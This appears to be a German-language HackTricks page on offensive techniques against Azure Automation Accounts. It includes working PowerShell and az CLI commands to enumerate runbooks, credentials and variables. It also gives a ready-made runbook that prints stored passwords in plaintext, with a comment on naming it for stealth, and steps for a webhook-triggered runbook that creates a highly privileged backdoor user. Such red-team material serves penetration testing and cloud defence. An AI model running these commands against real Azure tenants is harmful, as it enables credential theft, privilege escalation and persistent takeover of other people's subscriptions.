Az - Automation Account

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Grundlegende Informationen

Aus den Dokumenten: Azure Automation bietet einen cloudbasierten Automatisierungs-, Betriebssystemaktualisierungs- und Konfigurationsdienst, der ein konsistentes Management in Ihrer Azure- und Nicht-Azure-Umgebung unterstützt. Er umfasst Prozessautomatisierung, Konfigurationsmanagement, Update-Management, gemeinsame Funktionen und heterogene Funktionen.

Diese sind wie "geplante Aufgaben" in Azure, die es Ihnen ermöglichen, Dinge (Aktionen oder sogar Skripte) auszuführen, um die Azure-Umgebung zu verwalten, zu überprüfen und zu konfigurieren.

Run As-Konto

Wenn das Run as-Konto verwendet wird, wird eine Azure AD **Anwendung mit selbstsigniertem Zertifikat erstellt, ein Dienstprinzipal erstellt und die Mitwirkenden-Rolle für das Konto im aktuellen Abonnement zugewiesen (viele Berechtigungen). Microsoft empfiehlt die Verwendung einer Verwalteten Identität für das Automatisierungskonto.

Dies wird am 30. September 2023 entfernt und durch Verwaltete Identitäten ersetzt.

Runbooks & Jobs

Runbooks ermöglichen es Ihnen, beliebigen PowerShell-Code auszuführen. Dies könnte von einem Angreifer missbraucht werden, um die Berechtigungen des angehängten Prinzipals zu stehlen (falls vorhanden). Im Code von Runbooks könnten auch sensible Informationen (wie Anmeldeinformationen) gefunden werden.

Wenn Sie die Jobs lesen können, tun Sie dies, da sie die Ausgabe des Laufs enthalten (potenziell sensible Informationen).

Gehen Sie zu Automatisierungskonten --> <Automatisierungskonto auswählen> --> Runbooks/Jobs/Hybridarbeitergruppen/Watcher-Aufgaben/Berechtigungen/Variablen/Zertifikate/Verbindungen

Hybridarbeiter

Ein Runbook kann in einem Container innerhalb von Azure oder in einem Hybridarbeiter (nicht-azure Maschine) ausgeführt werden. Der Log Analytics-Agent wird auf der VM bereitgestellt, um sie als Hybridarbeiter zu registrieren. Die Hybridarbeiter-Jobs werden als SYSTEM unter Windows und als nxautomation-Konto unter Linux ausgeführt. Jeder Hybridarbeiter ist in einer Hybridarbeitergruppe registriert.

Daher, wenn Sie wählen können, ein Runbook in einem Windows-Hybridarbeiter auszuführen, werden Sie beliebige Befehle in einer externen Maschine als System ausführen (schöne Pivot-Technik).

Kompromittierter Zustandskonfiguration (SC)

Aus den Dokumenten: Azure Automation State Configuration ist ein Azure-Konfigurationsverwaltungsdienst, der es Ihnen ermöglicht, PowerShell Desired State Configuration (DSC) Konfigurationen für Knoten in jeder Cloud oder in Rechenzentren vor Ort zu schreiben, zu verwalten und zu kompilieren. Der Dienst importiert auch DSC-Ressourcen und weist Konfigurationen den Zielknoten zu, alles in der Cloud. Sie können auf Azure Automation State Configuration im Azure-Portal zugreifen, indem Sie unter Konfigurationsverwaltung Zustandskonfiguration (DSC) auswählen.

Sensible Informationen könnten in diesen Konfigurationen gefunden werden.

RCE

Es ist möglich, SC zu missbrauchen, um beliebige Skripte auf den verwalteten Maschinen auszuführen.

pageAz - State Configuration RCE

Enumeration

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Extrahieren von Anmeldeinformationen und Variablen, die in einem Automatisierungskonto definiert sind, mithilfe eines Runbooks

# Change the crdentials & variables names and add as many as you need
@'
$creds = Get-AutomationPSCredential -Name <credentials_name>
$runbook_variable = Get-AutomationVariable -name <variable_name>
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password
'@ | out-file -encoding ascii 'runbook_get_creds.ps1'

$ResourceGroupName = '<resource_group_name>'
$AutomationAccountName = '<auto_acc_name>'
$RunBookName = 'Exif-Credentials' #Change this for stealthness

# Creare Run book, publish, start, and get output
New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell
Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force
Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
$start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt

Sie könnten dasselbe tun, indem Sie ein vorhandenes Runbook modifizieren und dies über die Weboberfläche tun.

Schritte zur Einrichtung einer automatisierten Erstellung eines hochprivilegierten Benutzers

1. Initialisieren eines Automatisierungskontos

  • Erforderliche Aktion: Erstellen Sie ein neues Automatisierungskonto.

  • Spezifische Einstellung: Stellen Sie sicher, dass "Azure Run As-Konto erstellen" aktiviert ist.

2. Runbook importieren und einrichten

  • Quelle: Laden Sie das Beispiels-Runbook von MicroBurst GitHub Repository herunter.

  • Erforderliche Aktionen:

  • Importieren Sie das Runbook in das Automatisierungskonto.

  • Veröffentlichen Sie das Runbook, um es ausführbar zu machen.

  • Fügen Sie dem Runbook einen Webhook hinzu, um externe Auslöser zu aktivieren.

3. Konfigurieren des AzureAD-Moduls

  • Erforderliche Aktion: Fügen Sie das AzureAD-Modul dem Automatisierungskonto hinzu.

  • Zusätzlicher Schritt: Stellen Sie sicher, dass alle Azure Automation-Module auf ihre neuesten Versionen aktualisiert sind.

4. Berechtigungszuweisung

  • Zuweisung von Rollen:

  • Benutzeradministrator

  • Abonnementinhaber

  • Ziel: Weisen Sie diese Rollen dem Automatisierungskonto für erforderliche Berechtigungen zu.

5. Bewusstsein für möglichen Zugriffsverlust

  • Hinweis: Beachten Sie, dass die Konfiguration einer solchen Automatisierung dazu führen kann, die Kontrolle über das Abonnement zu verlieren.

6. Auslösen der Benutzererstellung

  • Lösen Sie den Webhook aus, um einen neuen Benutzer durch Senden einer POST-Anfrage zu erstellen.

  • Verwenden Sie das bereitgestellte PowerShell-Skript und stellen Sie sicher, dass Sie den $uri durch Ihre tatsächliche Webhook-URL ersetzen und das $AccountInfo mit dem gewünschten Benutzernamen und Passwort aktualisieren.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Last updated